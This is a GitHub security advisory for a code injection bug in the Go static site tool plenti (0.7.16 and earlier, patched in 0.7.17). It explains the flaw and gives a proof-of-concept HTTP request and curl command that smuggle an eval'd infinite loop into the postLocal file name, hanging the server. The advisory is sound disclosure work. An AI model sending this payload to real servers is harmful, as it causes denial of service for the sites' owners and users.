Skip to content

Plenti - Code Injection - Denial of Services

Moderate severity GitHub Reviewed Published Feb 5, 2025 in plentico/plenti • Updated Feb 6, 2025

Package

gomod github.com/plentico/plenti (Go)

Affected versions

<= 0.7.16

Patched versions

0.7.17

Description

Summary

While pushing a file via postLocal method if user add javascript code in file parameter that codes can exe in v8go context.

Details

While posting a file via postLocal, any attacker will add javascript codes to file parameter. That parameter content pass to componentSignature method after some validation. After that componentSignature parameter concat with ssrStr parameter.

image

Last part of compileSvelte function ssrStr parameter executed in v8go engine.

image

This cause to any one who can post a file also can push javascript code and run it. Thanks to v8go we can't use all javascript metod, if there is no any vulnerability in v8go we can't escape sandbox and can't run dangerous command like opening socket etc. But we can create infinite loop and the plenti can't response any request.

After posting a file with name 'layouts/global/test; eval(while(1););var test.svelte' we can see the ssrStr parameter include our javascript codes.

image

Note: Eval usage not must I just want to ensure that it's run javascript commands.

PoC

Request

POST /postlocal HTTP/1.1
Host: localhost:3000
Content-Length: 125
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

[{"action":"create","encoding":"text","file":"layouts/global/test; eval(`while(1);`);var test.svelte","contents":"anethole"}]

Video
PoC

Curl Request

curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:3000' -H $'Content-Length: 125' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
    --data-binary $'[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]' \
    $'http://localhost:3000/postlocal'

Impact

It's a remote code execution vulnerability. Because of the sandbox we can show only Denial of Service impact. Any vulnerability will be exists in v8go that cause to escape sandbox, different impacts can be show.

Note: Plenti is using V8GO and V8GO is using V8 version of 11.1.278. This version released at 25 January 2023. After this date some RCE vulnerabilities founded in V8 like CVE-2024-5830,

References

@jimafisk jimafisk published to plentico/plenti Feb 5, 2025
Published to the GitHub Advisory Database Feb 5, 2025
Reviewed Feb 5, 2025
Last updated Feb 6, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS score

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-mj4v-hp69-27x5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.